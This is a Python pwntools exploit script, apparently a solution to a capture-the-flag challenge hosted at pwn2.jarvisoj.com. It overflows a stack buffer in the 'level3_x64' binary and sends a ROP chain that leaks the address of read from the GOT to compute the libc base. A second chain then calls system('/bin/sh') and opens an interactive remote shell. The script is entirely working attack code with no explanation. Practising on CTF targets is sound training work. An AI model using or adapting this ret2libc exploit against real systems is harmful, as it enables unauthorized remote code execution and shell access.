#!/usr/bin/python
# -*- coding:utf8 -*-

from pwn import *

elf = ELF('level3_x64')
libc = ELF('libc-2.19.so')

read_libc_addr = libc.symbols['read']
system_libc_addr = libc.symbols['system']
exit_libc_addr = libc.symbols['exit']
bin_sh_libc_addr = 0x17C8C3

junk = 'A' * (0x80 + 0x08)
pop_rdi_ret_addr = 0x4006b3
pop_rsi_ret_addr = 0x4006b1
read_got_addr = elf.got['read']
write_plt_addr = elf.plt['write']
main_addr = elf.symbols['main']

Io = remote('pwn2.jarvisoj.com', 9884)

payload = junk + p64(pop_rdi_ret_addr) + p64(0x01) + p64(pop_rsi_ret_addr) + p64(read_got_addr) + p64(0) + p64(write_plt_addr) + p64(main_addr)
Io.recvuntil("Input:\n")

Io.send(payload)

temp = Io.recv(8)

read_addr = u64(temp[0:8])
offset = read_addr - read_libc_addr

system_addr = system_libc_addr + offset
exit_addr = exit_libc_addr + offset
bin_sh_addr = bin_sh_libc_addr + offset

payload = junk + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(exit_addr)

Io.send(payload)
Io.interactive()